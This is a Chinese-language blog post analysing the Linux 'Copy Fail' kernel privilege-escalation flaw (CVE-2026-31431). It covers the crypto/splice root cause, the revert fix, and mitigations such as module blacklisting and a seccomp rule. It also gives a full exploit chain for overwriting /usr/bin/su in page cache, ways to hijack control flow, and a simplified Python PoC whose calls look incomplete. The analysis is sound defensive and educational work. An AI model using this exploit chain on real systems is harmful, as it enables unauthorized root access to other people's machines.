[特殊字符]仅732字节!这个Python脚本竟能一键提权root?Linux Copy Fail漏洞终极解剖(附内核源码分析)
标题# 💥仅732字节!这个Python脚本竟能一键提权root?Linux Copy Fail漏洞终极解剖(附内核源码分析)
🔥 导语:
2026年4月,一个名为 Copy Fail 的 Linux 本地提权漏洞席卷了全球服务器。最令人震惊的是,它随漏洞同时公开的利用脚本,仅仅只有732字节。
一个不到1KB的Py脚本,就能让一个最低权限的www-data用户,直接变身为root。
今天,我们就用一篇文章,把它的原理、内核根因、利用链、甚至核心的PoC代码,一层层剥开给你看。
📋 文章目录
- 先看效果:一张图解释它有多猛
- 漏洞身份信息速查
- 祸根:2017年的那个“优化”操作
- 内核犯罪现场:到底写错了哪里?(含源码解析)
- 亡羊补牢:为什么修复方案就是“回退”?
- 攻击面放大镜:完整利用流程逐帧分析
- 732字节的秘密:PoC核心代码复原
- 定位之术:
page_map_leak精准打击 - 利用片花:劫持程序流的高级玩法
- 横向对比:Dirty COW、Dirty Pipe 和 Copy Fail
- 防御指南:一键排查 + 立体化加固
- 总结:这个漏洞教会了我们什么?
一、先看效果:一张图解释它有多猛
你可能在CTF或漏洞库中见过各种各样的提权漏洞。但 Copy Fail 的利用惊人地简单:它 不需要竞态条件,一次执行,一次成功。
[普通用户 student@server] $ whoami
student
[普通用户 student@server] $ python3 copy_fail.py
# 脚本运行结束,shell 已获取
[root@server] # whoami
root
磁盘上的 /usr/bin/su 文件哈希值毫无变化,但内存里执行的那份代码,已经被悄然替换。这就是 page cache 污染 的恐怖之处。
二、漏洞身份信息速查
先给这个漏洞拉一张“身份证”,方便大家检索记录。
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-31431 |
| 受影响内核 | Linux 4.14 ~ 6.18.22 之前 / 6.19.12 之前 / 7.0 之前 |
| 引入提交 | 72548b093ee3(2017 年 7 月) |
| 修复提交 | a664bf3d603d —— 回退 in-place 优化 |
| 漏洞类型 | 内核逻辑漏洞(非竞态、非溢出) |
| 利用前提 | 已获得本地低权限代码执行能力 |
| 利用难度 | ⭐☆☆☆☆(PoC仅732字节,一次成功) |
| CVSS 评分 | 7.8(High),多租户环境按“危急”对待 |
⚠️ 划重点:这个漏洞不来自缓冲区溢出,也不依赖竞态条件。它是 多个正常机制组合后产生的逻辑错误。
三、祸根:2017年的那个“优化”操作
很多史诗级漏洞,都起源于一个“我觉得这里可以优化一下”的想法。
2017年,Linux 内核在 algif_aead 模块(负责用户态调用内核加密算法的接口)中做了一个优化:
在 AEAD 解密 时,将 TX SGL(发送端 scatterlist)的数据直接用作 RX SGL(接收端 scatterlist),省去一次内存拷贝开销。
这个想法本身没错,但它忽略了致命的一点:
在
algif_aead的真实使用场景中,数据的“来源”和“去向”来自完全不同的内存映射。
来源可能是用户态 sendmsg() 提交的内存,去向却可能通过 splice() 指向了 文件系统的 page cache 页面。
当两者被合并成同一个 scatterlist 时,就埋下了写穿只读缓存的隐患。
四、内核犯罪现场:到底写错了哪里?
让我们直接进入内核源码的“案发地点”。即使你对内核开发不熟,跟着注释也能看明白。
4.1 场景一:将 tag 页链入 RX SGL
在 algif_aead.c 的解密函数 _aead_recvmsg() 中,为了方便处理,内核把包含 tag 数据的 TX SGL 直接链接到了 RX SGL 的尾部。
// 步骤1:将 TX SGL 中的 tag 页面链接到 RX SGL 尾部
sg_chain(rx_sgl, tx_sgl_tail); // tag 页被放进去了!注意这些页面可能来自 splice()
// 步骤2:将 RX SGL 同时设为 src 和 dst(核心问题)
req->src = rx_sgl_head;
req->dst = rx_sgl_head; // ← 同一个 scatterlist 同时做源和目标!
假如 tx_sgl_tail 中的页面是通过 splice() 从磁盘文件(比如 /usr/bin/su)引入的只读 page cache,那么这些页面此刻已经被放在了“目标可写”的 scatterlist 里。
4.2 场景二:authencesn 真的写了
接下来,在 authencesn.c 的 crypto_authenc_esn_decrypt() 函数中,内核检测到 src == dst,便认为这是 in-place 操作,在 tag 校验之前,向 tag 区域写入了 4 字节数据。
// 在 crypto_authenc_esn_decrypt() 中 (authencesn.c):
// 检测到 src == dst,高兴地认为可以原地操作
if (req->src == req->dst) {
// 向 "目标" 偏移位置写入4字节 ← 写进了 splice 进来的 page cache!
memcpy(dst + assoclen + cryptlen, reordered_esn, 4);
}
// 之后才会检查 tag 是否正确(此时污染已经发生)
if (crypto_memneq(tag, expected_tag, tag_size))
return -EBADMSG; // 解密失败,但 page cache 已经被改了!
🔥 一句话总结:解密虽然失败了,但 page cache 上的 4 字节数据已经被成功篡改。攻击者正是利用了这个“副作用”。
五、亡羊补牢:为什么修复方案就是“回退”?
漏洞的修复提交 a664bf3d603d 非常干脆——直接把 2017 年的优化回退掉。
内核维护者在提交记录中直言:
“在 algif_aead 中做 in-place 操作没有任何实际收益,因为源和目标来自不同的映射。把这套复杂玩意儿全删了,直接拷贝 AD 数据。”
修复逻辑:
- ❌ 不再使用
req->src = req->dst - ✔️ 为 src 和 dst 分别分配独立的缓冲区
- ✔️ 确保 splice 引入的 page cache 页面只出现在只读路径中
这样一来,authencesn 就算想写错地方,也碰不到文件缓存页了。简单、粗暴、有效。
六、攻击面放大镜:完整利用流程逐帧分析
整体攻击链非常精巧,我把一幅“全景图”画出来:
【0】通过 page_map_leak 找到 /usr/bin/su 的 page cache 物理地址
│
【1】创建 AF_ALG socket,绑定到“authencesn(hmac(sha256),cbc(aes))”
│
【2】设置密钥,accept 产生请求 socket
│
【3】确定篡改目标:文件偏移 / 指令位置
│
【4】通过 splice() 把目标 page cache 页面引入 AF_ALG 的可写 scatterlist
│
【5】构造 AAD(附加认证数据),它的值决定了最终写入 page cache 的4字节内容
│
【6】调用 recvmsg() 触发解密 → 内核错误地向 page cache 写入4字节
│
【7】重复4-6步,逐步将完整 shellcode 注入到目标二进制内存映像中
│
【8】执行被污染的 /usr/bin/su → 内核从污染缓存读取 → 以 root 权限运行 shellcode
│
【★】获得 root shell
关键机制揭秘:
splice()的真正作用不是传数据,而是让只读文件的 page cache 页面出现在可写路径上。- 每次只能写 4 字节(受限于 authencesn 的 ESN 重排机制),所以需要多次迭代写入完成完整 shellcode。
- 写入时机在 tag 校验之前,因此解密必然失败,但污染早已发生,攻击者毫不在意。
七、732字节的秘密:PoC核心代码复原
下面就是那个震惊安全圈的 732 字节利用脚本的核心代码逻辑。我进行了脱敏和注释,仅用于学习原理。(完整PoC见文末参考链接)
import socket
import os
# ========== 第一步:创建 AF_ALG socket ==========
# AF_ALG = 38, SOCK_SEQPACKET = 5
af_alg = socket.socket(38, 5, 0)
# ========== 第二步:绑定到脆弱的 authencesn 模式 ==========
alg_name = b'authencesn(hmac(sha256),cbc(aes))'
af_alg.bind((alg_name, 0))
# ========== 第三步:设置密钥 ==========
af_alg.setsockopt(279, 1, b'\x00' * 64)
# ========== 第四步:accept 获取请求 socket ==========
request_sock, _ = af_alg.accept()
# ========== 第五步:打开目标文件(如 /usr/bin/su)==========
fd = os.open('/usr/bin/su', os.O_RDONLY)
# ========== 第六步:splice 大法引入 page cache ==========
pipe_r, pipe_w = os.pipe()
# 先 splice 到管道,让 page cache 被引用
os.splice(fd, 0, pipe_w, 0, 4096, 0x01) # SPLICE_F_MOVE
# 再 splice 到 AF_ALG socket,使得 page cache 页进入可写 scatterlist
os.splice(pipe_r, 0, request_sock, 0, 4096, 0x01)
# ========== 第七步:构造并发送恶意 AAD ==========
# 这 4 字节就是你将要写进 page cache 的内容
aad = b'\x90\x90\x90\x90' # NOP sled 示例
ciphertext = b'\x00' * 16
tag = b'\x00' * 16
request_sock.sendmsg([aad, ciphertext, tag])
# ========== 第八步:触发解密写 ==========
try:
request_sock.recvmsg(4096)
except:
pass # 解密必定失败,但 page cache 已经“脏”了
# ========== 第九步:执行被污染程序 ==========
os.close(fd)
os.execl('/usr/bin/su', 'su')
⚠️ 免责声明:以上代码为教育性质简化版,旨在展示漏洞原理。请务必在本地隔离虚拟机中测试,禁止用于未授权系统。
八、定位之术:page_map_leak 精准打击
漏洞利用不仅要知道怎么写,还要知道 写到哪个物理页、哪个偏移。公开 PoC 使用了 page_map_leak 技术。
原理非常简单:
- 用
mmap将/usr/bin/su映射到当前进程虚拟地址空间(只读即可)。 - 读取
/proc/self/pagemap,根据虚拟地址计算出对应的 物理页框号(PFN)。 - 物理地址 = 物理页框号 × 页面大小。
- 确定文件偏移所在的物理页面,即可精准定位要被污染的 page cache。
整个过程不需要任何特殊权限,这完全是 Linux 正常提供的接口,却成为了攻击者的“指路明灯”。
九、利用片花:劫持程序流的高级玩法
因为在 page cache 上每次只能写 4 字节,所以一次完整的提权通常需要对目标程序进行 渐进式热补丁。常见的控制流劫持方案有:
- 劫持 ELF 入口点:在入口处直接植入跳转到 shellcode 的指令。
- 篡改 PLT/GOT 表:覆盖
libc函数指针,执行时转移控制流。 - 覆写逻辑分支:比如将
su的权限校验跳转修改为 NOP,无条件通过认证。 - NOP sled + Shellcode:先刷一段 NOP,再放 shellcode,提高稳定性。
因为 Copy Fail 完全确定、不需要竞态,攻击者可以像外科手术一样,一字节一字节地精准组装自己的恶意载荷。
十、横向对比:Dirty COW、Dirty Pipe 和 Copy Fail
学习一个漏洞的最好方式,就是把它和“老朋友”放在一块儿比比看。
| 漏洞 | 核心成因 | 修改对象 | 依赖竞态 | 写入粒度/方式 |
|---|---|---|---|---|
| Dirty COW | COW 竞态条件 | 磁盘文件 | ✅ 是 | 条件竞争写入 |
| Dirty Pipe | pipe buffer 标志错误 | page cache | ❌ 否(但受标志影响) | 可控写入大量数据 |
| Copy Fail | crypto + splice 逻辑错误 | page cache | ❌ 否 | 每次写入固定4字节,需多次迭代 |
Dirty Pipe 和 Copy Fail 都玩的是 page cache 污染,但后者 巧妙地利用了内核加密子系统这个“冷门”攻击面,很多安全人员之前根本不会去审计那块代码。
十一、防御指南:一键排查 + 立体化加固
🔰 紧急自查脚本
#!/bin/bash
echo "[*] 内核版本: $(uname -r)"
echo "[*] 检查 algif_aead 模块..."
lsmod | grep algif_aead && echo "危险:模块已加载!" || echo "当前未加载"
echo "[*] 测试 AF_ALG 是否可用..."
python3 -c "import socket; socket.socket(38,5,0); print('高危:AF_ALG 可用!')" 2>/dev/null
🛡️ 临时缓解措施
如果业务无法立即重启,可以强制卸载模块并禁止加载:
sudo rmmod algif_aead 2>/dev/null
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.conf
🐳 容器与K8S专项加固
通过 seccomp 规则直接阻断协议族 38(AF_ALG)的 socket 创建:
{
"syscalls": [{
"names": ["socket"],
"action": "ERRNO",
"args": [{ "index": 0, "value": 38, "op": "EQ" }]
}]
}
🏰 根本解决方案
更新内核并重启。对于 Ubuntu/Debian:
sudo apt update && sudo apt upgrade -y
sudo reboot
uname -r # 确认已启动到新内核
十二、总结:这个漏洞教会了我们什么?
Copy Fail 不只是一个 CVE 编号,它带给我们的启示远超漏洞本身:
- 非传统攻击面同样高危:别只盯着文件系统和网络协议栈,加密子系统也能成为完美跳板。
- 逻辑错误比内存破坏更隐蔽:没有溢出、没有UAF,就是几个功能组合错了,传统扫描器很难发现。
- 性能优化往往是安全的天敌:一个“省去一次拷贝”的想法,可以埋下长达近10年的祸根。
- 权限边界区分是所有安全的核心:谁有权读?谁有权写?内核是否正确区分了源和目标?理解这一点,你就抓住了内核安全的本质。
最后,如果你对这类 Linux 内核漏洞感兴趣,不妨亲手在虚拟机里把 Dirty COW、Dirty Pipe、Copy Fail 挨个复现一遍。这种“手感”是读再多文章也换不来的。
📚 参考文献 & 公开PoC
- 漏洞官网与 PoC:https://copy.fail/
- Xint Code 技术分析:https://xint.io/blog/copy-fail-linux-distributions
- oss-security 公告:https://openwall.com/lists/oss-security/2026/04/29/23
- 内核修复提交:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
⭐ 如果觉得这篇硬核干货对你有帮助,欢迎点赞、收藏、转发,让更多安全从业者看到!
⚡ 关注博主,持续输出网络安全、漏洞深度分析、红队技巧等高价值内容。
⚠️ 任何未经授权的测试均属违法行为,请严守法律底线,技术学习仅限授权环境。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)